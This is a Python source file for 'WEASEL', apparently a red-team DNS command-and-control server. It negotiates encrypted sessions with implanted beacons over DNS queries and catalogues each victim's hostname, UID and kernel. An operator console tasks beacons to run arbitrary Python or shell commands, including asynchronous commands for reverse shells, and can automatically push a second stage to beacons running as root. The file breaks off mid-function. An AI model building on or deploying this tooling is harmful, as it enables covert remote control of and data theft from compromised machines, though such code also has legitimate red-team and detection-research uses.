Files
Vlad Ionescu 84e330b8e5 Initial commit
2019-12-03 12:36:06 -08:00

1424 lines
62 KiB
Python
Executable File

#!/usr/bin/env python3
'''
Copyright (c) Facebook, Inc. and its affiliates.
This source code is licensed under the MIT license found in the
LICENSE file in the root directory of this source tree.
'''
import base64, binascii, builtins, cmd, dill, logging, os, readline, resource, signal, socket, sys, time
from pprint import pprint
from random import randint
from tabulate import tabulate
from threading import Lock, Timer
from cryptography import utils
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from dnslib import A, AAAA, NS, SOA, QTYPE, RCODE, RR, DNSError
from dnslib.server import BaseResolver, DNSHandler, DNSLogger, DNSServer
'''Configurable.'''
ADDR = "0.0.0.0"
PORT = 53
TTL = 120
STATIC_RECORDS = [
{"type": "SOA", "question": "example.org", "answer": SOA("ns.example.org", "admin.example.org", (2019010101, 60, 60, 60, 30))},
{"type": "NS", "question": "example.org", "answer": NS("ns.example.org")},
{"type": "A", "question": "ns.example.org", "answer": A("12.34.56.78")},
{"type": "AAAA", "question": "example.org", "answer": AAAA("::FFFF:0001:0002")},
]
'''Debugs. Each level is dependent on the previous being enabled.
DEBUG: Be noisy in logs/output. Prints what the server is doing as it receives packets.
DEBUG_DNS: Log all the network activity done by dnslib. Prints incoming DNS packets not processed by the server.
DEBUG_DNS_BYTES: Log the raw bytes on the wire.
'''
DEBUG = True
DEBUG_DNS = False
DEBUG_DNS_BYTES = False
'''Non configurable. Version data.'''
VERSION = 1
NON_DATA_PREAMBLE = 'ph'
'''Non configurable. Globals.'''
# Sessions is a map of session IDs to lists of active streams
# for that session. A session is established when a client
# initiates a connection and a Diffie-Hellman key exchange
# establishes an AES session key. This server then provides
# the client with a session cookie (aka session ID) which the
# client sends with every packet, allowing the server to
# use the correct AES key to decrypt the packet data.
#
# An active stream is a list of packets which have yet to be
# reassembled into a message. Reassembly occurs when all
# packets in a message are received. Each data packet contains
# its own sequence number and the number of total packets in
# that msg.
#
# Note that data packets are distinct from non-data packets
# which are used in the initial Diffie-Hellman exchange.
# Non-data packets' sequence and total counters are incremented
# on a distinct non-hex preamble instead of using [a-f0-9].
#
# sessions = { "<session_id>": {
# "key": <key>, "iv": <iv>, "interval": <seconds>, "last_seen": <timestamp>, "waiting": <flag>
# "version": <version>, "info": INFO, "outbound_queue": QUEUE, "streams": STREAMS
# },
# ... }
# INFO = {"hostname": <hostname>, "kernel": <kernel_version>, "uid": <client_uid>, "source_ip": <client_ip>}
# QUEUE = {"<task_id>": <data>, ...}
# STREAMS = {"<stream_id>": STREAM, ...}
# STREAM = {"total_pkts": <total>, "pkts": [PKT, ...], "expiry": "<timestamp>"}
# PKT = "<data>"
# TODO: make sessions into a proper Class, with:
# new() for instantiating a new session
# exists() for checking if a session exists
# tabulate() that returns a tabulate() object ready for printing
# each function (shell, network info, callback interval) should be methods that the CLI (MainMenu) calls
sessions = {}
# meta is a non-session object.
#
# Autotask can be either task data (autotask_is_script == False)
# or Python code to execute (autotask_is_script == True).
#
# If it is task data, that data is sent automatically to every new
# beacon after a session has been established. So the data should
# be in a format that beacon expects, like '<function_id>|<args>'.
#
# If it is Python code, the code will be called like 'autotask(session)'
# after a session has been established, where the 'session' arg is
# sessions[session_id] object. Whatever the code returns will be
# sent to the beacon. For more information see do_autotask() and respond().
meta = {"autotask": None, "autotask_is_script": False}
# A listing of functions and their IDs, descriptions, and args they accept sorted by client version.
CLIENT_INFO = {
'v1': [
['2', 'Die.', ''],
['4', 'Reconnect, rekey and create a new session', ''],
['5', 'Set callback interval', 'num_seconds'],
['6', 'Get network interface information', ''],
['8', 'Eval arbitrary Python3 code and return first 400 bytes of stdout, or the first exception', 'python3 oneliner'],
['80', 'Eval arbitrary Python3 code and return the name of the first exception or 0', 'python3 oneliner'],
['9', 'Execute arbitrary command and return first 400 bytes of stdout/stderr (sync, waits for command to exit)', 'command with args'],
['90', 'Execute arbitrary command and return nothing (async, does not wait for command to exit)', 'command with args'],
]
}
pkt_handler = None
dns_server = None
sessions_lock = Lock()
sessions_filename = 'WEASEL.pkl'
# TODO: relying on `while sessions_lock.locked(): time.sleep(0.001)` before
# executing a function that modifies the global sessions object in order to
# ensure save and restore (write/read sessions to/from disk) functions run
# reliably is a horrible thing, because between the time the .locked() check
# executes and the sessions object is modified save/restore can acquire the
# lock and start messing with sessions but, oh well. This is a stopgap because
# I can't figure out how to have only save/restore be able to acquire an
# exclusive lock against al the other functions. Ideally I need 3 parties to
# the lock: save, restore, and everyone else.
def main():
global pkt_handler
global dns_server
signal.signal(signal.SIGTERM, exit_handler)
logging.basicConfig(level=logging.INFO,
format='%(asctime)s - %(levelname)-7s - %(threadName)-12s (%(module)-6s.%(funcName)s:%(lineno)d) - %(message)s')
if DEBUG:
logger = logging.getLogger()
logger.setLevel(logging.DEBUG)
dns_logger = LocalDNSLogger()
pkt_handler = PacketHandler()
resolver = BeaconResolver()
dns_server = DNSServer(resolver, port=PORT, address=ADDR, logger=dns_logger)
dns_server.start_thread()
ui = MainMenu()
ui.cmdloop()
logging.warning("After cmdloop initialized. Code shouldn't get here so long as MainMenu is running.")
while dns_server.isAlive():
time.sleep(1)
def save_sessions(filename):
global sessions_lock
global sessions_filename
if not filename:
print('[Error] Save needs a filename.')
return
sessions_filename = filename
logging.debug('Attempting to save sessions to %s. Acquiring lock.', filename)
with sessions_lock:
try:
with open(filename, 'wb') as f:
logging.debug('Lock acquired, writing to %s.', filename)
dill.dump(sessions, f)
except OSError as e:
print('[Error] Saving to file', filename, 'failed.')
print('[Exception]', e)
return
logging.debug('Sessions saved to', filename)
def restore_sessions(filename):
global sessions
global sessions_lock
if not filename:
print('[Error] Restore needs a filename.')
return
logging.debug('Attempting to restore sessions from %s. Acquiring lock.', filename)
with sessions_lock:
try:
with open(filename, 'rb') as f:
logging.debug('Lock acquired, restoring from %s.', filename)
sessions = {**sessions, **dill.load(f)}
except FileNotFoundError:
print('[Error] File', filename, 'does not exist. Did not restore.')
return
except OSError as e:
print('[Error] Restoring from file', filename, 'failed.')
print('[Exception]', e)
return
except KeyError as e:
print("[Error] The saved object is not compatible with this 'sessions' object. Perhaps it is from another version?")
print('[Exception]', e)
print('Sessions restored from', filename)
class MainMenu(cmd.Cmd):
'''The primary CLI user interface.
This runs in the main thread and is started by calling cmdloop() on an instance of this class.
It should never return while the program is running.'''
def __init__(self):
super(MainMenu, self).__init__()
self.intro = "DNS beacon server. Try `help`. You can also `restore` an old session from disk."
self.prompt = "(WEASEL) > "
self.doc_header = 'Available commands (server v' + str(VERSION) +')'
self.do_help.__func__.__doc__ = 'List available commands with "help" or detailed help with "help cmd". Aliases: h, ?'
self.do_save.__func__.__doc__ = self.do_save.__doc__ + sessions_filename
self.do_restore.__func__.__doc__ = self.do_restore.__doc__ + sessions_filename
self.do_autosave.__func__.__doc__ = self.do_autosave.__doc__ + sessions_filename
self.autosave_timer = None
self.autosave_interval = None
self.aliases = {'h' : self.do_help,
'ls' : self.do_sessions,
'list' : self.do_sessions,
'session' : self.do_sessions,
'q' : self.do_queue,
'i' : self.do_info,
'time' : self.do_now,
'clock': self.do_now,
'date' : self.do_now,
'quit' : self.do_exit}
def _autosave_sessions(self, filename=sessions_filename, interval=10 * 60):
save_sessions(filename)
self.autosave_timer = Timer(interval, self._autosave_sessions, None,
{'filename': filename, 'interval': interval})
self.autosave_timer.daemon = True
self.autosave_timer.start()
def _print_autotask(self):
if not meta['autotask']:
print('No autotask is set.')
else:
if meta['autotask_is_script']:
print('Current autotask script:', meta['autotask'])
else:
print('Current autotask data:', meta['autotask'])
def cmdloop(self, intro=None):
'''Overload cmdloop to neuter CTRL+C behavior and cause it to print ^C on a newline instead of quitting.'''
print(self.intro)
while True:
try:
super(MainMenu, self).cmdloop(intro="")
break
except KeyboardInterrupt:
print('^C')
def default(self, line):
'''Set up command aliases.'''
cmd, arg, line = self.parseline(line)
if cmd in self.aliases:
self.aliases[cmd](arg)
def emptyline(self):
'''By default, sending Cmd and empty line of input (hitting return at a blank prompt) repeats the last command.
We don't want that.'''
pass
def do_exit(self, line):
'''Usage: exit
Quit the server process. Does not terminate clients.
'''
raise SystemExit
def do_sessions(self, line):
'''Usage: sessions|list|ls [-c N] [session_id ...]
Print client sessions. An * by Last Seen indicates we're waiting on a synchronous task.
Filter on number of checkins with -c and/or a space delimited list of session_ids.
'''
# Extract just the relevant data into a list of lists for printing in a table.
# data = [ [session_id, hostname, uid, kernel, version, interval, last_seen+waiting], [session_id, ...] ]
if line:
# Filters
arg = line.split()[0]
if arg == '-c':
# Filtering on number of checkins
try:
checkins = int(line.split()[1])
except IndexError:
print(self.do_sessions.__doc__)
return
except ValueError:
print('Number of checkins must be a digit, for example: -c 2')
return
try:
# If session_ids are also given, filter those too
ids = line.split(maxsplit=2)[2]
data = [[session_id, sessions[session_id]['info']['hostname'], sessions[session_id]['info']['uid'],
sessions[session_id]['info']['source_ip'], sessions[session_id]['info']['kernel'],
sessions[session_id]['version'], sessions[session_id]['interval'],
time.ctime(sessions[session_id]['last_seen']) if sessions[session_id]['last_seen'] else '' + sessions[session_id]['waiting'],
sessions[session_id]['checkins']]
for session_id in
set([requested_id for requested_id in ids.split() if requested_id in sessions.keys() if sessions[requested_id]['checkins'] >= checkins])]
except IndexError:
# If no session_ids are given, filter only on checkins
data = [[session_id, sessions[session_id]['info']['hostname'], sessions[session_id]['info']['uid'],
sessions[session_id]['info']['source_ip'], sessions[session_id]['info']['kernel'],
sessions[session_id]['version'], sessions[session_id]['interval'],
time.ctime(sessions[session_id]['last_seen']) if sessions[session_id]['last_seen'] else '' + sessions[session_id]['waiting'],
sessions[session_id]['checkins']]
for session_id in sessions if sessions[session_id]['checkins'] >= checkins]
else:
# Filtering on session_ids
data = [[session_id, sessions[session_id]['info']['hostname'], sessions[session_id]['info']['uid'],
sessions[session_id]['info']['source_ip'], sessions[session_id]['info']['kernel'],
sessions[session_id]['version'], sessions[session_id]['interval'],
time.ctime(sessions[session_id]['last_seen']) if sessions[session_id]['last_seen'] else '' + sessions[session_id]['waiting'],
sessions[session_id]['checkins']]
for session_id in set([requested_id for requested_id in line.split() if requested_id in sessions.keys()])]
else:
# No filters, get all sessions
data = [[session_id, sessions[session_id]['info']['hostname'], sessions[session_id]['info']['uid'],
sessions[session_id]['info']['source_ip'], sessions[session_id]['info']['kernel'],
sessions[session_id]['version'], sessions[session_id]['interval'],
time.ctime(sessions[session_id]['last_seen']) if sessions[session_id]['last_seen'] else '' + sessions[session_id]['waiting'],
sessions[session_id]['checkins']]
for session_id in sessions]
headers = ['Session', 'Hostname', 'UID', 'Last Source IP', 'Kernel', 'Client Ver', 'Interval (sec)',
'Last Seen (' + time.strftime('%z') + ' ' + time.tzname[time.daylight] + ')', 'Checkins']
print(tabulate(data, headers=headers, disable_numparse=True))
def do_kill(self, line):
'''Usage: kill session_id [session_id ...]
Ask sessions to die. Next time beacon checks in, it will kill itself.
This server forgets about the session once the beacon has checked in for the last time.
'''
if not line:
print('[Error] Kill needs at least 1 session.')
return
global sessions
while sessions_lock.locked(): time.sleep(0.001)
# Only add to the outbound_queue of existing sessions.
args = line.split()
for session in [session for session in sessions if session in args]:
sessions[session]['outbound_queue'][str(time.time())] = '2|'
print('Tasked', session, 'to die.')
def do_delete(self, line):
'''Usage: delete session_id [session_id ...]
Remove a session from the list. This does not ask it to die first,
so if this is a beacon it will continue trying to check in.
Use this to remove pollution: dead beacons, or non-beacon DNS requests that have made it through.'''
if not line:
print('[Error] Delete needs at least 1 session.')
return
global sessions
while sessions_lock.locked(): time.sleep(0.001)
args = line.split()
for arg in args:
try:
del sessions[arg]
print('[!] No longer tracking', arg)
except:
pass
def do_queue(self, line):
'''Usage: queue|q [session_id]
Print queued tasks for all clients or for a specific session.'''
if line:
arg = line.split()[0]
try:
data = [[arg, sessions[arg]['outbound_queue']]]
except KeyError:
print('[Error] Session', arg, 'does not exist.')
return
else:
data = [[session_id, sessions[session_id]['outbound_queue']] for session_id in sessions]
headers = ['Session', 'Queued Tasks']
print(tabulate(data, headers=headers, disable_numparse=True))
def do_cancel(self, line):
'''Usage: cancel task_id [task_id ...]
Remove tasks from queue, preventing them from being sent to the client next time it checks in.
List queued tasks with `queue`.'''
if not line:
print('[Error] Cancel needs at least 1 task.')
return
global sessions
while sessions_lock.locked(): time.sleep(0.001)
args = line.split()
for session in sessions:
for task in args:
try:
del sessions[session]['outbound_queue'][task]
print(task, 'cancelled for client', session)
except KeyError:
pass
def do_interval(self, line):
'''Usage: interval session_id seconds
Set the callback interval for the client to given seconds.'''
global sessions
while sessions_lock.locked(): time.sleep(0.001)
try:
session, seconds = line.split()[:2]
if seconds.isdigit():
sessions[session]['outbound_queue'][str(time.time())] = '5|' + seconds
sessions[session]['interval'] = sessions[session]['interval'] + ' (next: ' + seconds + ')'
print('Interval of', seconds, 'seconds set for session', session)
else:
print('[Error] Seconds must only contain digits.')
return
except ValueError:
print('[Error] Interval needs 2 arguments: a session_id and the number of seconds to set the callback interval to.')
except KeyError:
print('[Error] Session does not exist.')
except TypeError:
print('[Error] Wait for the session to check in once before setting the interval.')
def do_function(self, line):
'''Usage: function session_id function_id [args]
Have a client run the given function with arguments (may be optional depending on function).
Use `info` to get a list of available functions for a given client.'''
try:
session, function = line.split()[:2]
if function.isdigit():
global sessions
while sessions_lock.locked(): time.sleep(0.001)
# Anything passed after the 2nd argument is sent as-is to the client function
try:
args = line.split(maxsplit=2)[2]
except IndexError:
args = ''
# Due to packetization restrictions (sequence numbers) we can't send messages
# over 800 bytes. We're limiting them to 666 bytes here just in case there are
# unaccounted things or my math was wrong.
if len(args) > 666:
print('[Error] Function arguments cannot be longer than 666 bytes. Run was not tasked.')
return
sessions[session]['outbound_queue'][str(time.time())] = function + '|' + args
print('Session', session, 'was tasked.')
else:
print('[Error] Function_id must only contain digits.')
return
except ValueError:
print('[Error] Run needs minimum 2 arguments: a session_id and the function_id to task.')
except KeyError:
print('[Error] Session or function is invalid.')
print(' Check the available `sessions` and see which functions are available with `info`.')
def do_shell(self, line):
'''Usage: shell session_id shell_command
Have a client run the given command in a shell (likely /bin/bash, but depends on OS).
Synchronous. The client will wait for command to return before it will check in again. Shell output is returned.
Do not use for long running processes where you want the beacon to continue being available.'''
try:
session, command = line.split(maxsplit=1)
global sessions
while sessions_lock.locked(): time.sleep(0.001)
# Due to packetization restrictions (sequence numbers) we can't send messages
# over 800 bytes. We're limiting them to 666 bytes here just in case there are
# unaccounted things or my math was wrong.
if len(command) > 666:
print('[Error] Command cannot be longer than 666 bytes. Shell was not tasked.')
return
version = sessions[session]['version']
if version == '1':
function = '9'
else:
print('[Error] Session', session, 'is version', version, "and I don't know what function number to use for shell. Shell was not tasked.")
return
# TODO: 'waiting' flag is currently '' (False) or ' *' (True) and
# printed as-is in sessions/ls output. In the future, it should be
# a lot nicer. Shell (and other client functions) should be a
# proper method which is defined per client version (which should
# be a class) and can set flags and handle stuff as needed, instead
# of there being a bunch of if statements in these CLI methods.
sessions[session]['outbound_queue'][str(time.time())] = function + '|' + command
sessions[session]['waiting'] = ' *'
print('Session', session, 'was tasked.')
except ValueError:
print('[Error] Shell needs minimum 2 arguments: a session_id and the command to run.')
except KeyError:
print('[Error] Session is invalid.')
print(' Check the available `sessions`.')
def do_shellasync(self, line):
'''Usage: shellasync session_id shell_command
Have a client run the given command in a shell (likely /bin/bash, but depends on OS).
Asynchronous. Beacon will execute the command and return immediately. Shell output is not returned.
Use for long running processes like interactive reverse shells.'''
try:
session, command = line.split(maxsplit=1)
global sessions
while sessions_lock.locked(): time.sleep(0.001)
# Due to packetization restrictions (sequence numbers) we can't send messages
# over 800 bytes. We're limiting them to 666 bytes here just in case there are
# unaccounted things or my math was wrong.
if len(command) > 666:
print('[Error] Command cannot be longer than 666 bytes. Shellasync was not tasked.')
return
version = sessions[session]['version']
if version == '1':
function = '90'
else:
print('[Error] Session', session, 'is version', version, "and I don't know what function number to use for shellasync. Shellasync was not tasked.")
return
sessions[session]['outbound_queue'][str(time.time())] = function + '|' + command
print('Session', session, 'was tasked.')
except ValueError:
print('[Error] Shellasync needs minimum 2 arguments: a session_id and the command to run.')
except KeyError:
print('[Error] Session is invalid.')
print(' Check the available `sessions`.')
def do_autotask(self, line):
'''Usage:
autotask
Display current autotask setting.
autotask -d
Disable autotasking.
autotask data
Send raw data. Data should be in a format beacon expects, like <function_id>|<args>.
autotask -s python_lambda
Send the return of python_lambda.
Available in your lambda: session (dict, current session), sessions (dict, all sessions), session_id (string).
Useful for conditional tasking, example: autotask -s '90|stage2' if int(session['info']['uid']) == 0 else '2|'
Autotask does one of the above for every new beacon after it has established a session.
It is only run once at the start of a session, not on every checkin.'''
global meta
if not line:
self._print_autotask()
return
else:
arg = line.split()[0]
if arg == '-d':
meta['autotask_is_script'] = False
meta['autotask'] = None
elif arg == '-s':
meta['autotask_is_script'] = True
meta['autotask'] = line.split(maxsplit=1)[1]
else:
meta['autotask_is_script'] = False
meta['autotask'] = line
self._print_autotask()
def do_info(self, line):
'''Usage: info|i [session_id | version | -d]
Without argument: print server stats. In DEBUG (or with -d) this dumps the sessions object.
With argument: print functions for the client version. Version numbers start with 'v'.'''
if line:
arg = line.split()[0]
if arg[0] == 'v':
client_ver = arg
elif arg == '-d':
print('Sessions object:')
pprint(sessions)
return
else:
try:
client_ver = 'v' + sessions[arg]['version']
except KeyError:
print('[Error] Session', arg, "does not exist or I don't know what version it is (hasn't checked in yet).")
return
try:
if arg[0] != 'v' and arg != '-d':
self.do_sessions(arg)
data = CLIENT_INFO[client_ver]
headers = ['Function', 'Description', 'Args']
print('\nClient version', client_ver, '\n')
print(tabulate(data, headers=headers, disable_numparse=True))
except KeyError:
print('[Error] Client version', client_ver, 'does not exist.')
else:
last, last_at = None, 0
for session in sessions:
if sessions[session]['last_seen'] and sessions[session]['last_seen'] > last_at:
last = session
last_at = sessions[session]['last_seen']
print(len(sessions), 'active sessions.')
if last:
print('Last client seen:', last, 'at', last_at)
else:
print('No clients checked in yet.')
if self.autosave_timer:
print('Autosave enabled: every', self.autosave_interval, 'seconds to file', sessions_filename)
else:
print('Autosave disabled.')
try:
print('Memory usage (resident page size):', "{:,}".format(resource.getrusage(resource.RUSAGE_SELF).ru_maxrss), 'KB')
except:
pass
if DEBUG:
print('\nsessions object:')
pprint(sessions)
def do_now(self, line):
'''Usage: now|clock|time|date
Print the current time.'''
print(time.ctime())
def do_save(self, line):
'''Usage: save [filename]
Persists the sessions object from memory to disk.
Default filename: '''
if line:
save_sessions(line.split()[0])
else:
save_sessions(sessions_filename)
def do_restore(self, line):
'''Usage: restore [filename]
Restores a saved sessions object from disk and merges it with the current sessions object in memory.
Default filename: '''
if line:
restore_sessions(line.split()[0])
else:
restore_sessions(sessions_filename)
def do_autosave(self, line):
'''Usage: autosave [filename] [interval]
Automatically save sessions every `interval` seconds to `filename`.
Default interval: 10 minutes. Default filename: '''
global sessions_filename
if self.autosave_timer:
print('[Error] Autosave already enabled for file', sessions_filename, '. Use `autosave_cancel` before enabling autosave again.')
return
interval = 10 * 60
if line:
args = line.split()[:2]
sessions_filename = args[0]
try:
interval = int(args[1])
except:
logging.debug('Either the given interval was not an int, or no interval was given. Defaulting to 10 minutes.')
self.do_save.__func__.__doc__ = self.do_save.__doc__.rpartition('\n')[0] + '\nDefault filename: ' + sessions_filename
self.do_restore.__func__.__doc__ = self.do_restore.__doc__.rpartition('\n')[0] + '\nDefault filename: ' + sessions_filename
self.do_autosave.__func__.__doc__ = self.do_autosave.__doc__.rpartition('\n')[0] + '\nDefault interval: 10 minutes. Default filename: ' + sessions_filename
print('Autosave enabled: every', interval, 'seconds to file', sessions_filename)
self._autosave_sessions(sessions_filename, interval)
self.autosave_interval = interval
def do_autosave_cancel(self, line):
'''Usage: autosave_cancel
Stops autosaving.'''
if self.autosave_timer:
self.autosave_timer.cancel()
print('Autosave disabled.')
self.autosave_timer = None
else:
print('Autosave not enabled. Nothing to do.')
class BeaconResolver(BaseResolver):
'''Incoming DNS requests are passed to this resolver, which overloads dnsslib.BaseResolver.
Packets are sent to a global PacketHandler instance which does the heavy lifting of figuring
out what the incoming data is, reassembling packets, and optionally returning a response.
Responses are crafted and sent back to the initiating client in resolve().
Client session initializations (crypto) takes place in resolve().
Data packet (non crypto) responses are provided by PacketHandler.'''
def resolve(self, request, handler):
reply = request.reply()
source_ip = handler.client_address[0]
# If a static record exists for this query, respond and stop processing.
try:
# First check if we have any records for this name
static_answers = [record for record in STATIC_RECORDS if str(request.q.qname)[:-1] == record['question']]
if static_answers:
logging.debug('Static resolver: have domain <%s>. Checking we have an answer for this type <%s>.', request.q.qname, QTYPE[request.q.qtype])
# Next check if we have any records of the requested type for this name
# If there is no match, this will throw an IndexError
static_answer = [record for record in static_answers if record['type'] == QTYPE[request.q.qtype]][0]
logging.debug('Static resolver: have answer.')
reply.add_answer(RR(static_answer['question'], QTYPE.reverse[static_answer['type']], ttl=60, rdata=static_answer['answer']))
if static_answer['type'] in ['NS', 'SOA']:
logging.debug('Static resolver: client is asking for NS or SOA. If we have an NS answer, it will be an additional record.')
additional_answer = [record for record in STATIC_RECORDS if 'ns.'+static_answer['question'] in record['question'] if record['type'] == 'A'][0]
if additional_answer:
logging.debug('Static resolver: added additional record.')
reply.add_ar(RR(additional_answer['question'], QTYPE.reverse[additional_answer['type']], ttl=60, rdata=additional_answer['answer']))
return reply
except IndexError:
# If we have the requested name but not the requested type (MX, A, AAAA, ...) return empty reply
# NXDomain here would cause the client to think we don't have the requested name in any form
logging.debug('Static resolver: have domain, but type mismatch. Sending empty reply.')
return reply
try:
msg, domain, response = pkt_handler.decode_dns_msg(request.q, source_ip)
except (SyntaxError, IndexError):
# The session cookie received in the message does not exist
# on the server. Client must reinitialize.
# Also triggers if we're receiving non-c2 traffic to our resolver.
# Send an NXDOMAIN or something
reply.header.rcode = RCODE.NXDOMAIN
return reply
if msg is not None:
# This is a Diffie-Hellman exchange
# We are initializing a new client session
if (
isinstance(msg, dict) and 'B' in msg.keys() and 'iv' in msg.keys()
):
# Diffie-Hellman Ephemeral (DHE) setup
# RFC 3526 "group 1" (group 5 truncated)
g = 2
p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74
a = randint(1, p - 1)
public = pow(g, a, p)
# Reply with the server's public key so client
# can compute the AES session key themselves
data = utils.int_to_bytes(public)
# AES session key computed
key = pow(msg["B"], a, p)
# New session cookie the client should use going forward
new_session = pkt_handler.create_new_session(request.q, key, msg["iv"], source_ip)
# Encode the session cookie as an IP address
# The client will make a v4/A request and expect the client
# cookie in return
#
# NOTE: This code is not used, the client will only make
# AAAA requests because getaddrinfo() is dumb and refuses
# to accept mixed results: if the query is for an A it will
# only return A answers, likewise for AAAA. It will not
# return A and AAAA at the same time, except under some
# hard to pin down race condition when calling it using
# AF_UNSPEC and AI_ALL | AI_V4MAPPED. It's a mess.
if QTYPE.A == request.q.qtype:
ip = socket.inet_ntop(socket.AF_INET, new_session.encode())
reply.add_answer(RR(request.q.qname, QTYPE.A,
ttl=TTL, rdata=A(ip)))
# Encode the session cookie as the first 4 bytes of an IPv6
# address, and pad the rest of the address with 12 \x00 bytes.
#
# Encode the public key as two IPv6 addresses
#
# The client will make a v6/AAAA request and expect a session
# cookie and the server's public key in return.
elif QTYPE.AAAA == request.q.qtype:
new_session = new_session.encode() + b'\x00' * 12
ip = socket.inet_ntop(socket.AF_INET6, new_session)
reply.add_answer(RR(request.q.qname, QTYPE.AAAA,
ttl=TTL, rdata=AAAA(ip)))
logging.debug("Server public key for this session: %s", public)
public_bytes = utils.int_to_bytes(public)
packets = pkt_handler.packetize_response(public_bytes)
if packets:
logging.debug("Packets for DNS response assembly: %s", packets)
for pkt in packets:
ip = socket.inet_ntop(socket.AF_INET6, pkt)
reply.add_answer(RR(request.q.qname, QTYPE.AAAA,
ttl=TTL, rdata=AAAA(ip)))
# ???? Should never get here.
else:
reply.header.rcode = RCODE.NXDOMAIN
# It's a data message, parse and respond in kind.
else:
if response:
logging.debug("Packets for DNS response assembly: %s", response)
for pkt in response:
ip = socket.inet_ntop(socket.AF_INET6, pkt)
reply.add_answer(RR(request.q.qname, QTYPE.AAAA,
ttl=TTL, rdata=AAAA(ip)))
logging.debug("Request message from client: %s", msg)
else:
# Say thanks with NODATA (no error code or answer records)
return reply
# Alternatively, ignore the repeat requests. This causes the
# client to retry until it times out on their end, which gets
# noisy and slows down communications (since we'll otherwise
# only reply once we have all packets in a message).
raise DNSError("Already have this packet or the stream is expired, dropping it.")
return None
logging.debug("Replying with:\n%s", reply)
return reply
class PacketHandler(DNSHandler):
'''BeaconResolver leverages PacketHandler to decode incoming DNS packets,
reassemble incoming packets into a complete message, determine the correct
response, craft the response, and return it so BeaconResolver can send it
to the initiating client.
There should be a single global PacketHandler instance.'''
def __init__(self):
self.cleanup_timer = None
self.cleanup_expired_streams()
def decode_dns_msg(self, query, source_ip):
global sessions
while sessions_lock.locked(): time.sleep(0.001)
# Extract queried hostname as a string without trailing dot.
query = str(query.qname)[:-1]
fields = query.split('.')
# Sanity check.
# If all the fields aren't there we won't be able to decode the packet.
if len(fields) < 5:
logging.debug("Received a non-beacon packet.")
raise SyntaxError("Not a beacon packet.")
# Packet format: <preamble><data>.<stream>.<session>.hostname.tld
# First 2 bytes of the first subdomain is the preamble
# The rest of the first subdomain is encrypted data
# The second subdomain is the stream ID
# The third subdomain is the session cookie
data = fields[0]
stream = fields[1] # beacon v1 uses a 2 byte stream ID
session = fields[2] # beacon v1 uses a 4 byte session ID
domain = fields[3:]
domain = ".".join(domain)
preamble = data[:2]
data = data[2:] # beacon v1 supports 1-50 bytes of data
msg, response = None, None
if (len(stream) != 2) or (len(session) != 4):
logging.debug("Received a non-beacon packet.")
raise SyntaxError("Not a beacon packet.")
# The first byte of preamble is that packet's sequence number
# The second byte of preamble is the total number of pkts
# So pkt[0] & pkt[1] tells the server how to reassemble
# To make this *slightly* less obvious on the wire,
# the digits are inverted (0=f, 1=e, ...).
#
# However non-data packets use the NON_DATA_PREAMBLE as
# a base. The NON_DATA_PREAMBLE characters are incremented
# to encode seq/total information. NON_DATA_PREAMBLE
# must be carefully chosen because of this: each char
# cannot be greater than 'k' because 'k' + 15 = 'z' and
# beyond that we have non-DNS characters.
try:
if ord(preamble[0]) >= ord(NON_DATA_PREAMBLE[0]):
is_data = False
seq = abs(ord(NON_DATA_PREAMBLE[0]) - ord(preamble[0]))
total = abs(ord(NON_DATA_PREAMBLE[1]) - ord(preamble[1]))
else:
is_data = True
seq = abs(int(preamble[0], 16) - 15)
total = abs(int(preamble[1], 16) - 15)
except:
logging.debug("Error decoding preamble [%s] - probably not a beacon packet.", preamble)
raise SyntaxError("Not a beacon packet.")
logging.debug("Incoming [%s/%s] ( %s - %s ) %s", seq + 1, total, stream, session, data)
# If the stream isn't completed and processed in 5 minutes, delete it.
default_expiry = int(time.time()) + 300
if is_data:
logging.debug("Data received")
# If this is data we should have an established session.
# If we don't, something's wrong, send back an error.
if session not in sessions:
raise IndexError('No session for data message. Client must reinitialize.')
# Existing session, existing stream
if stream in sessions[session]["streams"]:
logging.debug("Existing stream")
# Stream is expired, stop parsing this packet
if (
sessions[session]["streams"][stream]["expiry"] and
int(time.time()) > sessions[session]["streams"][stream]["expiry"]
):
logging.debug("Expired stream!")
return msg, domain, response
# Stream is not expired (not yet responded to)
# It will get processed in the code outside this if
else:
pass
# Existing session, new stream
else:
logging.debug("New stream")
sessions[session]["streams"][stream] = {"total_pkts": total,
"pkts": [None] * total, "expiry": default_expiry}
try:
if data in sessions[session]["streams"][stream]["pkts"]:
logging.debug("Already have this packet")
# We already have this packet, ignore it
return msg, domain, response
# We don't have the packet yet, store it in memory.
sessions[session]["streams"][stream]["pkts"][seq] = data
logging.debug("New packet stored")
except KeyError:
# The stream must have been deleted by another thread
logging.exception("Stream must have been deleted elsewhere - it's ok, this is non-fatal")
pass
# Non-data packets indicate we are in a Diffie-Hellman
# exchange, where the client sends us a random session ID
# that we'll use to track this DH conversation. Once DH
# is complete, we'll issue a session cookie and delete
# the client-provided session ID.
else:
logging.debug("Non-data packet received (Diffie-Hellman exchange)")
# New session, new stream
if session not in sessions:
logging.debug("New session, new stream")
sessions[session] = {"key": None, "iv": None, "outbound_queue": {}, "streams": {},
"info": {"hostname": None, "kernel": None, "uid": None, "source_ip": source_ip},
"interval": None, "checkins": 0, "version": None, "last_seen": None, "waiting": ""}
sessions[session]["streams"][stream] = {"total_pkts": total,
"pkts": [None] * total, "expiry": default_expiry}
# Existing session
else:
logging.debug("Existing session")
# Existing session, existing stream
if stream in sessions[session]["streams"]:
logging.debug("Existing stream")
# Stream is expired, stop parsing this packet
if (
sessions[session]["streams"][stream]["expiry"] and
int(time.time()) > sessions[session]["streams"][stream]["expiry"]
):
logging.debug("Expired stream!")
return msg, domain, response
# Stream is not expired (not yet responded to)
# It will get processed in the code outside this if
else:
pass
# Existing session, new stream
else:
logging.debug("New stream")
sessions[session]["streams"][stream] = {"total_pkts": total,
"pkts": [None] * total, "expiry": default_expiry}
try:
if data in sessions[session]["streams"][stream]["pkts"]:
logging.debug("Already have this packet")
# We already have this packet, ignore it
return msg, domain, response
# We don't have the packet yet, store it in memory.
sessions[session]["streams"][stream]["pkts"][seq] = data
logging.debug("New packet stored")
except KeyError:
# The stream must have been deleted by another thread
logging.exception("Stream must have been deleted elsewhere - it's ok, this is non-fatal")
pass
sessions[session]["last_seen"] = int(time.time())
sessions[session]["info"]["source_ip"] = source_ip
# After storing a new packet, check if the message is
# complete and ready to be decrypted. If it is, return
# whatever answer the server deems correct.
msg = self.assemble_message(session, stream, is_data)
